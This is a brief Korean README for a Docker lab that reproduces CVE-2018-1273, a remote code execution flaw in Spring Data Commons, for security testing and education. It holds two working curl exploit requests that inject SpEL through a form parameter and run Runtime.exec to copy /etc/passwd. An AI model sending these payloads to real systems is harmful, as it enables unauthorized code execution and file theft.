
# CVE-2018-1273 재현 가능한 Docker 환경 Spring Data Commons의 RCE를 악용한 HTTP 요청을 통해 취약점을 시연하며, 보안 테스트 및 교육을 목적으로 합니다.
CVE-2018-1273 환경
CVE-2018-1273: Spring Data Commons에서의 RCE
https://pivotal.io/security/cve-2018-1273
https://github.com/spring-projects/spring-data-examples/tree/master/web/example
$ docker build -t cve-2018-1273 .
$ docker run -d -p 8080:8080 cve-2018-1273
$ curl -v -d 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/'
또는
$ curl -v -d 'username[T(java.lang.Runtime).getRuntime().exec("cp+/etc/passwd+/tmp")]=test' 'http://localhost:8080/users/'